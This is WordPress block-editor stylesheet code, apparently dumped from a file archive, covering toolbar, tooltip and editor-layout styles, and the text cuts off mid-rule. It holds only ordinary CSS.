.components-text-control__input[type=text]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=time]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=url]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=week]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .components-text-control__input:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=color]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=date]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=datetime-local]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=datetime]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=email]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=month]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=number]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=password]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=tel]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=text]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=time]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=url]:-ms-input-placeholder,.is-dark-theme .components-text-control__input[type=week]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.components-tip{display:flex;color:#757575}.components-tip svg{-ms-grid-row-align:center;align-self:center;fill:#f0b849;flex-shrink:0;margin-right:16px}.components-tip p{margin:0}.components-toggle-control .components-base-control__field{display:flex;margin-bottom:12px;line-height:normal;align-items:center}.components-toggle-control .components-base-control__field .components-form-toggle{margin-right:12px}.components-toggle-control .components-base-control__field .components-toggle-control__label{display:block}.components-accessible-toolbar{display:inline-flex;border:1px solid #1e1e1e;border-radius:2px;flex-shrink:0}.components-accessible-toolbar>.components-toolbar-group:last-child{border-right:none}.components-accessible-toolbar .components-button,.components-toolbar .components-button{position:relative;height:48px;z-index:1;padding-left:16px;padding-right:16px}.components-accessible-toolbar .components-button:focus:enabled,.components-toolbar .components-button:focus:enabled{box-shadow:none;outline:none}.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{content:"";position:absolute;display:block;border-radius:2px;height:32px;left:8px;right:8px;z-index:-1;animation:components-button__appear-animation .1s ease;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{animation-duration:1ms}}.components-accessible-toolbar .components-button svg,.components-toolbar .components-button svg{position:relative;margin-left:auto;margin-right:auto}.components-accessible-toolbar .components-button.is-pressed,.components-accessible-toolbar .components-button.is-pressed:hover,.components-toolbar .components-button.is-pressed,.components-toolbar .components-button.is-pressed:hover{background:transparent}.components-accessible-toolbar .components-button.is-pressed:before,.components-toolbar .components-button.is-pressed:before{background:#1e1e1e}.components-accessible-toolbar .components-button:focus:before,.components-toolbar .components-button:focus:before{box-shadow:inset 0 0 0 2px #007cba,inset 0 0 0 4px #fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 4px #fff;outline:2px solid transparent}.components-accessible-toolbar .components-button.has-icon,.components-toolbar .components-button.has-icon{padding-left:8px;padding-right:8px;min-width:48px;justify-content:center}.components-accessible-toolbar .components-button.components-tab-button,.components-toolbar .components-button.components-tab-button{font-weight:500}.components-accessible-toolbar .components-button.components-tab-button span,.components-toolbar .components-button.components-tab-button span{display:inline-block;padding-left:0;padding-right:0;position:relative}@keyframes components-button__appear-animation{0%{transform:scaleY(0)}to{transform:scaleY(1)}}.components-toolbar__control.components-button{position:relative}.components-toolbar__control.components-button[data-subscript] svg{padding:5px 10px 5px 0}.components-toolbar__control.components-button[data-subscript]:after{content:attr(data-subscript);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;line-height:12px;position:absolute;right:8px;bottom:10px}.components-toolbar__control.components-button:active:before{display:none}.components-toolbar__control.components-button:not(:disabled).is-pressed[data-subscript]:after{color:#fff}.components-toolbar-group{min-height:48px;border-right:1px solid #1e1e1e;background-color:#fff;display:inline-flex;flex-shrink:0;flex-wrap:wrap;line-height:0}.components-toolbar-group .components-toolbar-group.components-toolbar-group{border-width:0;margin:0}.components-toolbar{min-height:48px;margin:0;border:1px solid #1e1e1e;background-color:#fff;display:inline-flex;flex-shrink:0;flex-wrap:wrap}.components-toolbar .components-toolbar.components-toolbar{border-width:0;margin:0}div.components-toolbar>div{display:block;margin:0}@supports ((position:-webkit-sticky) or (position:sticky)){div.components-toolbar>div{display:flex}}div.components-toolbar>div+div.has-left-divider{margin-left:6px;position:relative;overflow:visible}div.components-toolbar>div+div.has-left-divider:before{display:inline-block;content:"";box-sizing:content-box;background-color:#ddd;position:absolute;top:8px;left:-3px;width:1px;height:20px}.components-accessible-toolbar .components-toolbar-group>.components-button.components-button.has-icon,.components-toolbar div>.components-button.components-button.has-icon{min-width:36px;padding-left:6px;padding-right:6px}.components-accessible-toolbar .components-toolbar-group>.components-button.components-button.has-icon svg,.components-toolbar div>.components-button.components-button.has-icon svg{min-width:24px}.components-accessible-toolbar .components-toolbar-group>.components-button.components-button.has-icon:before,.components-toolbar div>.components-button.components-button.has-icon:before{left:2px;right:2px}.components-accessible-toolbar .components-toolbar-group>.components-button:first-child.has-icon,.components-accessible-toolbar .components-toolbar-group>div:first-child>.components-button.has-icon,.components-toolbar div:first-child .components-button.has-icon{min-width:42px;padding-left:11px;padding-right:6px}.components-accessible-toolbar .components-toolbar-group>.components-button:first-child.has-icon:before,.components-accessible-toolbar .components-toolbar-group>div:first-child>.components-button.has-icon:before,.components-toolbar div:first-child .components-button.has-icon:before{left:8px;right:2px}.components-accessible-toolbar .components-toolbar-group>.components-button:last-of-type.has-icon,.components-accessible-toolbar .components-toolbar-group>div:last-child>.components-button.has-icon,.components-toolbar div:last-child .components-button.has-icon{min-width:42px;padding-left:6px;padding-right:11px}.components-accessible-toolbar .components-toolbar-group>.components-button:last-of-type.has-icon:before,.components-accessible-toolbar .components-toolbar-group>div:last-child>.components-button.has-icon:before,.components-toolbar div:last-child .components-button.has-icon:before{left:2px;right:8px}.components-accessible-toolbar .components-toolbar-group>.components-button:first-of-type:last-of-type.has-icon,.components-accessible-toolbar .components-toolbar-group>div:first-child:last-child>.components-button.has-icon,.components-toolbar div:first-child:last-child>.components-button.has-icon{min-width:48px;padding-left:12px;padding-right:12px}.components-accessible-toolbar .components-toolbar-group>.components-button:first-of-type:last-of-type.has-icon:before,.components-accessible-toolbar .components-toolbar-group>div:first-child:last-child>.components-button.has-icon:before,.components-toolbar div:first-child:last-child>.components-button.has-icon:before{left:8px;right:8px}.components-tooltip.components-popover{z-index:1000002}.components-tooltip.components-popover .components-popover__content{min-width:0}.components-tooltip .components-popover__content{background:#1e1e1e;border-radius:2px;border-width:0;color:#fff;white-space:nowrap;text-align:center;line-height:1.4;font-size:12px;box-shadow:none}.components-tooltip .components-popover__content>div{padding:4px 8px}.components-tooltip__shortcut{display:inline-block;margin-left:8px}.disabled-element-wrapper{position:relative}.disabled-element-wrapper .event-catcher{z-index:100002;position:absolute;width:100%;height:100%;top:0;left:0;bottom:0;right:0}.components-visually-hidden{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.components-visually-hidden:focus{background-color:#ddd;clip:auto!important;-webkit-clip-path:none;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}css/dist/edit-post/style-rtl.css000064400000150365151202620300012661 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } .components-panel__header.interface-complementary-area-header__small { background: #fff; padding-left: 4px; } .components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; width: 100%; } @media (min-width: 782px) { .components-panel__header.interface-complementary-area-header__small { display: none; } } .interface-complementary-area-header { background: #fff; padding-left: 4px; } .interface-complementary-area-header .components-button.has-icon { display: none; margin-right: auto; } .interface-complementary-area-header .components-button.has-icon ~ .components-button { margin-right: 0; } @media (min-width: 782px) { .interface-complementary-area-header .components-button.has-icon { display: flex; } } .interface-complementary-area { background: #fff; color: #1e1e1e; } @media (min-width: 600px) { .interface-complementary-area { -webkit-overflow-scrolling: touch; } } @media (min-width: 782px) { .interface-complementary-area { width: 280px; } } .interface-complementary-area .components-panel { border: none; } .interface-complementary-area .components-panel__header { position: -webkit-sticky; position: sticky; top: 0; z-index: 1; } .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs { top: 48px; } @media (min-width: 782px) { .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs { top: 0; } } .interface-complementary-area p { margin-top: 0; } .interface-complementary-area h2, .interface-complementary-area h3 { font-size: 13px; color: #1e1e1e; margin-bottom: 1.5em; } .interface-complementary-area hr { border-top: none; border-bottom: 1px solid #f0f0f0; margin: 1.5em 0; } .interface-complementary-area div.components-toolbar-group, .interface-complementary-area div.components-toolbar { box-shadow: none; margin-bottom: 1.5em; } .interface-complementary-area div.components-toolbar-group:last-child, .interface-complementary-area div.components-toolbar:last-child { margin-bottom: 0; } .interface-complementary-area .block-editor-skip-to-selected-block:focus { top: auto; left: 10px; bottom: 10px; right: auto; } @media (min-width: 782px) { body.js.is-fullscreen-mode { margin-top: -32px; height: calc(100% + 32px); } body.js.is-fullscreen-mode #adminmenumain, body.js.is-fullscreen-mode #wpadminbar { display: none; } body.js.is-fullscreen-mode #wpcontent, body.js.is-fullscreen-mode #wpfooter { margin-right: 0; } } html.interface-interface-skeleton__html-container { position: fixed; width: 100%; } @media (min-width: 782px) { html.interface-interface-skeleton__html-container { position: initial; width: initial; } } .interface-interface-skeleton { display: flex; flex-direction: row; height: auto; max-height: 100%; position: fixed; top: 46px; right: 0; left: 0; bottom: 0; } @media (min-width: 783px) { .interface-interface-skeleton { top: 32px; } .is-fullscreen-mode .interface-interface-skeleton { top: 0; } } .interface-interface-skeleton__editor { display: flex; flex-direction: column; flex: 0 1 100%; overflow: hidden; } .interface-interface-skeleton { /* Set left position when auto-fold is not on the body element. */ right: 0; } @media (min-width: 783px) { .interface-interface-skeleton { right: 160px; } } .auto-fold .interface-interface-skeleton { /* Auto fold is when on smaller breakpoints, nav menu auto collapses. */ } @media (min-width: 783px) { .auto-fold .interface-interface-skeleton { right: 36px; } } @media (min-width: 961px) { .auto-fold .interface-interface-skeleton { right: 160px; } } /* Sidebar manually collapsed. */ .folded .interface-interface-skeleton { right: 0; } @media (min-width: 783px) { .folded .interface-interface-skeleton { right: 36px; } } /* Mobile menu opened. */ @media (max-width: 783px) { .auto-fold .wp-responsive-open .interface-interface-skeleton { right: 190px; } } /* In small screens with responsive menu expanded there is small white space. */ @media (max-width: 600px) { .auto-fold .wp-responsive-open .interface-interface-skeleton { margin-right: -18px; } } body.is-fullscreen-mode .interface-interface-skeleton { right: 0 !important; } .interface-interface-skeleton__body { flex-grow: 1; display: flex; overflow: auto; overscroll-behavior-y: none; } @media (min-width: 782px) { .has-footer .interface-interface-skeleton__body { padding-bottom: 25px; } } .interface-interface-skeleton__content { flex-grow: 1; display: flex; flex-direction: column; overflow: auto; } .interface-interface-skeleton__secondary-sidebar, .interface-interface-skeleton__sidebar { display: block; flex-shrink: 0; position: absolute; z-index: 100000; top: 0; left: 0; bottom: 0; right: 0; background: #fff; color: #1e1e1e; } @media (min-width: 782px) { .interface-interface-skeleton__secondary-sidebar, .interface-interface-skeleton__sidebar { position: relative !important; z-index: 90; width: auto; } } .interface-interface-skeleton__sidebar { overflow: auto; } @media (min-width: 782px) { .interface-interface-skeleton__sidebar { border-right: 1px solid #e0e0e0; } } @media (min-width: 782px) { .interface-interface-skeleton__secondary-sidebar { border-left: 1px solid #e0e0e0; } } .interface-interface-skeleton__header { flex-shrink: 0; height: auto; border-bottom: 1px solid #e0e0e0; z-index: 30; color: #1e1e1e; position: -webkit-sticky; position: sticky; top: 0; } @media (min-width: 600px) { .interface-interface-skeleton__header { position: initial; top: 0; } } .interface-interface-skeleton__footer { height: auto; flex-shrink: 0; border-top: 1px solid #e0e0e0; color: #1e1e1e; position: absolute; bottom: 0; right: 0; width: 100%; background-color: #fff; z-index: 90; display: none; } @media (min-width: 782px) { .interface-interface-skeleton__footer { display: flex; } } .interface-interface-skeleton__footer .block-editor-block-breadcrumb { z-index: 30; display: flex; background: #fff; height: 24px; align-items: center; font-size: 13px; padding: 0 18px; } .interface-interface-skeleton__actions { z-index: 100000; position: fixed !important; top: -9999em; bottom: auto; right: auto; left: 0; width: 280px; color: #1e1e1e; } .interface-interface-skeleton__actions:focus { top: auto; bottom: 0; } .interface-pinned-items { display: flex; } .interface-pinned-items .components-button:not(:first-child) { display: none; } @media (min-width: 600px) { .interface-pinned-items .components-button:not(:first-child) { display: flex; } } .interface-pinned-items .components-button { margin-right: 4px; } .interface-pinned-items .components-button svg { max-width: 24px; max-height: 24px; } .edit-post-header { height: 60px; background: #fff; display: flex; flex-wrap: wrap; align-items: center; max-width: 100vw; } @media (min-width: 280px) { .edit-post-header { flex-wrap: nowrap; } } .edit-post-header > .edit-post-header__settings { order: 1; } @supports ((position: -webkit-sticky) or (position: sticky)) { .edit-post-header > .edit-post-header__settings { order: initial; } } .edit-post-header__toolbar { display: flex; flex-grow: 1; } .edit-post-header__toolbar .table-of-contents { display: none; } @media (min-width: 600px) { .edit-post-header__toolbar .table-of-contents { display: block; } } .edit-post-header__settings { display: inline-flex; align-items: center; flex-wrap: wrap; padding-left: 4px; /** * Buttons in the Toolbar */ } @media (min-width: 600px) { .edit-post-header__settings { padding-left: 16px; } } .edit-post-header__settings .editor-post-saved-state, .edit-post-header__settings .components-button.components-button { margin-left: 4px; } @media (min-width: 600px) { .edit-post-header__settings .editor-post-saved-state, .edit-post-header__settings .components-button.components-button { margin-left: 12px; } } .edit-post-header__settings .editor-post-saved-state, .edit-post-header__settings .components-button.is-tertiary { padding: 0 6px; } .edit-post-header__settings .edit-post-more-menu .components-button, .edit-post-header__settings .interface-pinned-items .components-button { margin-left: 0; } .edit-post-header-preview__grouping-external { display: flex; position: relative; padding-bottom: 0; } .edit-post-header-preview__button-external { padding-right: 8px; margin-left: auto; width: 100%; display: flex; justify-content: flex-start; } .edit-post-header-preview__button-external svg { margin-right: auto; } .edit-post-post-preview-dropdown .components-popover__content > div { padding-bottom: 0; } .show-icon-labels.interface-pinned-items .components-button.has-icon, .show-icon-labels .edit-post-header .components-button.has-icon, .edit-post-header__dropdown .components-button.has-icon { width: auto; } .show-icon-labels.interface-pinned-items .components-button.has-icon svg, .show-icon-labels .edit-post-header .components-button.has-icon svg, .edit-post-header__dropdown .components-button.has-icon svg { display: none; } .show-icon-labels.interface-pinned-items .components-button.has-icon::after, .show-icon-labels .edit-post-header .components-button.has-icon::after, .edit-post-header__dropdown .components-button.has-icon::after { content: attr(aria-label); } .show-icon-labels.interface-pinned-items .components-button.has-icon[aria-disabled=true], .show-icon-labels .edit-post-header .components-button.has-icon[aria-disabled=true], .edit-post-header__dropdown .components-button.has-icon[aria-disabled=true] { background-color: transparent; } .show-icon-labels.interface-pinned-items .is-tertiary:active, .show-icon-labels .edit-post-header .is-tertiary:active, .edit-post-header__dropdown .is-tertiary:active { box-shadow: 0 0 0 1.5px #007cba; box-shadow: 0 0 0 1.5px var(--wp-admin-theme-color); background-color: transparent; } .show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon svg, .show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle svg, .show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon svg, .show-icon-labels .edit-post-header .components-button.has-icon.button-toggle svg, .edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon svg, .edit-post-header__dropdown .components-button.has-icon.button-toggle svg { display: block; } .show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon::after, .show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle::after, .show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon::after, .show-icon-labels .edit-post-header .components-button.has-icon.button-toggle::after, .edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon::after, .edit-post-header__dropdown .components-button.has-icon.button-toggle::after { content: none; } .show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon, .show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon, .edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon { width: 60px; } .show-icon-labels.interface-pinned-items .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon, .show-icon-labels .edit-post-header .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon, .edit-post-header__dropdown .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon { display: block; } .show-icon-labels.interface-pinned-items .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle, .show-icon-labels.interface-pinned-items .interface-pinned-items .components-button, .show-icon-labels .edit-post-header .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle, .show-icon-labels .edit-post-header .interface-pinned-items .components-button, .edit-post-header__dropdown .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle, .edit-post-header__dropdown .interface-pinned-items .components-button { padding-right: 8px; padding-left: 8px; } @media (min-width: 600px) { .show-icon-labels.interface-pinned-items .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle, .show-icon-labels.interface-pinned-items .interface-pinned-items .components-button, .show-icon-labels .edit-post-header .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle, .show-icon-labels .edit-post-header .interface-pinned-items .components-button, .edit-post-header__dropdown .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle, .edit-post-header__dropdown .interface-pinned-items .components-button { padding-right: 12px; padding-left: 12px; } } .show-icon-labels.interface-pinned-items .components-dropdown-menu__toggle, .show-icon-labels .edit-post-header .components-dropdown-menu__toggle, .edit-post-header__dropdown .components-dropdown-menu__toggle { margin-right: 8px; padding-right: 8px; padding-left: 8px; } @media (min-width: 600px) { .show-icon-labels.interface-pinned-items .components-dropdown-menu__toggle, .show-icon-labels .edit-post-header .components-dropdown-menu__toggle, .edit-post-header__dropdown .components-dropdown-menu__toggle { margin-right: 12px; padding-right: 12px; padding-left: 12px; } } .show-icon-labels.interface-pinned-items .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle::after, .show-icon-labels .edit-post-header .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle::after, .edit-post-header__dropdown .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle::after { content: none; } .show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft::after, .show-icon-labels .edit-post-header .editor-post-save-draft.editor-post-save-draft::after, .edit-post-header__dropdown .editor-post-save-draft.editor-post-save-draft::after { content: none; } @media (min-width: 600px) { .show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft::after, .show-icon-labels .edit-post-header .editor-post-save-draft.editor-post-save-draft::after, .edit-post-header__dropdown .editor-post-save-draft.editor-post-save-draft::after { content: attr(aria-label); } } .edit-post-header__dropdown .components-menu-item__button.components-menu-item__button, .edit-post-header__dropdown .components-button.editor-history__undo, .edit-post-header__dropdown .components-button.editor-history__redo, .edit-post-header__dropdown .table-of-contents .components-button, .edit-post-header__dropdown .components-button.block-editor-block-navigation { margin: 0; padding: 6px 40px 6px 6px; width: 14.625rem; text-align: right; justify-content: flex-start; } .show-icon-labels.interface-pinned-items { padding: 6px 12px 12px; margin-top: 0; margin-bottom: 0; margin-right: -12px; margin-left: -12px; border-bottom: 1px solid #ccc; display: block; } .show-icon-labels.interface-pinned-items > .components-button.has-icon { margin: 0; padding: 6px 8px 6px 6px; width: 14.625rem; justify-content: flex-start; } .show-icon-labels.interface-pinned-items > .components-button.has-icon[aria-expanded=true] svg { display: block; max-width: 24px; } .show-icon-labels.interface-pinned-items > .components-button.has-icon[aria-expanded=false] { padding-right: 40px; } .show-icon-labels.interface-pinned-items > .components-button.has-icon svg { margin-left: 8px; } .edit-post-fullscreen-mode-close.has-icon { display: none; } @media (min-width: 782px) { .edit-post-fullscreen-mode-close.has-icon { display: flex; align-items: center; -ms-grid-row-align: stretch; align-self: stretch; border: none; background: #23282e; color: #fff; border-radius: 0; height: 60px; width: 60px; } .edit-post-fullscreen-mode-close.has-icon:hover { background: #32373d; } .edit-post-fullscreen-mode-close.has-icon:active { color: #fff; } .edit-post-fullscreen-mode-close.has-icon:focus { box-shadow: inset 0 0 0 2px #007cba, inset 0 0 0 3px #fff; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 3px #fff; } } .edit-post-fullscreen-mode-close_site-icon { width: 36px; } .edit-post-header-toolbar { display: inline-flex; flex-grow: 1; align-items: center; border: none; } .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-button { display: none; } @media (min-width: 600px) { .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-button { display: inline-flex; } } .edit-post-header-toolbar .edit-post-header-toolbar__left > .edit-post-header-toolbar__inserter-toggle { display: inline-flex; } .edit-post-header-toolbar .block-editor-block-navigation { display: none; } @media (min-width: 600px) { .edit-post-header-toolbar .block-editor-block-navigation { display: flex; } } .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-button.has-icon, .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-dropdown > .components-button.has-icon { height: 36px; min-width: 36px; padding: 6px; } .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-button.has-icon.is-pressed, .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-dropdown > .components-button.has-icon.is-pressed { background: #1e1e1e; } .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-button.has-icon:focus:not(:disabled), .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-dropdown > .components-button.has-icon:focus:not(:disabled) { box-shadow: 0 0 0 2px #007cba, inset 0 0 0 1px #fff; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 1px #fff; outline: 1px solid transparent; } .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-button.has-icon::before, .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-dropdown > .components-button.has-icon::before { display: none; } @media (min-width: 600px) { .edit-post-header.has-reduced-ui .edit-post-header-toolbar__left > * + .components-button, .edit-post-header.has-reduced-ui .edit-post-header-toolbar__left > * + .components-dropdown > [aria-expanded=false] { transition: opacity 0.1s linear; } } @media (min-width: 600px) and (prefers-reduced-motion: reduce) { .edit-post-header.has-reduced-ui .edit-post-header-toolbar__left > * + .components-button, .edit-post-header.has-reduced-ui .edit-post-header-toolbar__left > * + .components-dropdown > [aria-expanded=false] { transition-duration: 0s; } } @media (min-width: 600px) { .edit-post-header.has-reduced-ui:not(:hover) .edit-post-header-toolbar__left > * + .components-button, .edit-post-header.has-reduced-ui:not(:hover) .edit-post-header-toolbar__left > * + .components-dropdown > [aria-expanded=false] { opacity: 0; } } .edit-post-header-toolbar__left { display: inline-flex; align-items: center; padding-right: 8px; } @media (min-width: 600px) { .edit-post-header-toolbar__left { padding-right: 24px; } } @media (min-width: 1280px) { .edit-post-header-toolbar__left { padding-left: 8px; } } .edit-post-header-toolbar__block-toolbar { position: absolute; top: 61px; right: 0; left: 0; background: #fff; border-bottom: 1px solid #ddd; } .edit-post-header-toolbar__block-toolbar:empty { display: none; } .edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar-group, .edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar { border-top: none; border-bottom: none; } .is-sidebar-opened .edit-post-header-toolbar__block-toolbar { display: none; } .edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar__block-parent-selector-wrapper { display: none; } @media (min-width: 782px) { .is-sidebar-opened .edit-post-header-toolbar__block-toolbar { display: block; left: 280px; } } @media (min-width: 1280px) { .edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) { position: static; right: auto; left: auto; background: none; border-bottom: none; } .is-sidebar-opened .edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) { left: auto; } .edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) .block-editor-block-toolbar { border-right: 1px solid #ddd; } .edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) .block-editor-block-toolbar .components-toolbar-group, .edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) .block-editor-block-toolbar .components-toolbar { height: 60px; padding: 6px 0; } } .edit-post-header-toolbar .edit-post-header-toolbar__left > .edit-post-header-toolbar__inserter-toggle.has-icon { margin-left: 8px; min-width: 32px; width: 32px; height: 32px; padding: 0; } .show-icon-labels .edit-post-header-toolbar .edit-post-header-toolbar__left > .edit-post-header-toolbar__inserter-toggle.has-icon { height: 36px; } .edit-post-header-toolbar .edit-post-header-toolbar__left > .edit-post-header-toolbar__inserter-toggle.has-text.has-icon { width: auto; padding: 0 8px; } .show-icon-labels .edit-post-header-toolbar__left > * + * { margin-right: 8px; } @media (min-width: 1280px) { .show-icon-labels .edit-post-header-toolbar__block-toolbar { position: absolute; top: 61px; right: 0; left: 0; border-bottom: 1px solid #ddd; padding: 0; background-color: #fff; } .show-icon-labels .edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar-group, .show-icon-labels .edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar { height: auto; padding: 0; } } .edit-post-more-menu { margin-right: -4px; } .edit-post-more-menu .components-button { width: auto; padding: 0 2px; } @media (min-width: 600px) { .edit-post-more-menu { margin-right: 0; } .edit-post-more-menu .components-button { padding: 0 4px; } } .edit-post-more-menu__content .components-popover__content { min-width: 280px; } @media (min-width: 480px) { .edit-post-more-menu__content .components-popover__content { width: auto; max-width: 480px; } } .edit-post-more-menu__content .components-popover__content .components-dropdown-menu__menu { padding: 0; } .components-popover.edit-post-more-menu__content { z-index: 99998; } .edit-post-template-title { display: inline-flex; flex-grow: 1; justify-content: center; } .edit-post-keyboard-shortcut-help-modal__section { margin: 0 0 2rem 0; } .edit-post-keyboard-shortcut-help-modal__main-shortcuts .edit-post-keyboard-shortcut-help-modal__shortcut-list { margin-top: -25px; } .edit-post-keyboard-shortcut-help-modal__section-title { font-size: 0.9rem; font-weight: 600; } .edit-post-keyboard-shortcut-help-modal__shortcut { display: flex; align-items: baseline; padding: 0.6rem 0; border-top: 1px solid #ddd; margin-bottom: 0; } .edit-post-keyboard-shortcut-help-modal__shortcut:last-child { border-bottom: 1px solid #ddd; } .edit-post-keyboard-shortcut-help-modal__shortcut:empty { display: none; } .edit-post-keyboard-shortcut-help-modal__shortcut-term { font-weight: 600; margin: 0 1rem 0 0; text-align: left; } .edit-post-keyboard-shortcut-help-modal__shortcut-description { flex: 1; margin: 0; flex-basis: auto; } .edit-post-keyboard-shortcut-help-modal__shortcut-key-combination { display: block; background: none; margin: 0; padding: 0; } .edit-post-keyboard-shortcut-help-modal__shortcut-key-combination + .edit-post-keyboard-shortcut-help-modal__shortcut-key-combination { margin-top: 10px; } .edit-post-keyboard-shortcut-help-modal__shortcut-key { padding: 0.25rem 0.5rem; border-radius: 8%; margin: 0 0.2rem 0 0.2rem; } .edit-post-keyboard-shortcut-help-modal__shortcut-key:last-child { margin: 0 0.2rem 0 0; } .edit-post-layout__metaboxes { flex-shrink: 0; } .edit-post-layout__metaboxes:not(:empty) { border-top: 1px solid #ddd; padding: 10px 0 10px; clear: both; } .edit-post-layout__metaboxes:not(:empty) .edit-post-meta-boxes-area { margin: auto 20px; } .edit-post-layout .components-editor-notices__snackbar { position: fixed; left: 0; bottom: 40px; padding-right: 16px; padding-left: 16px; } .edit-post-layout .components-editor-notices__snackbar { /* Set left position when auto-fold is not on the body element. */ right: 0; } @media (min-width: 783px) { .edit-post-layout .components-editor-notices__snackbar { right: 160px; } } .auto-fold .edit-post-layout .components-editor-notices__snackbar { /* Auto fold is when on smaller breakpoints, nav menu auto collapses. */ } @media (min-width: 783px) { .auto-fold .edit-post-layout .components-editor-notices__snackbar { right: 36px; } } @media (min-width: 961px) { .auto-fold .edit-post-layout .components-editor-notices__snackbar { right: 160px; } } /* Sidebar manually collapsed. */ .folded .edit-post-layout 